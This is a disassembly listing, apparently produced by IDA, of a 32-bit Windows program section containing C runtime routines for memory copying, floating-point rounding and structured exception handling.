		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


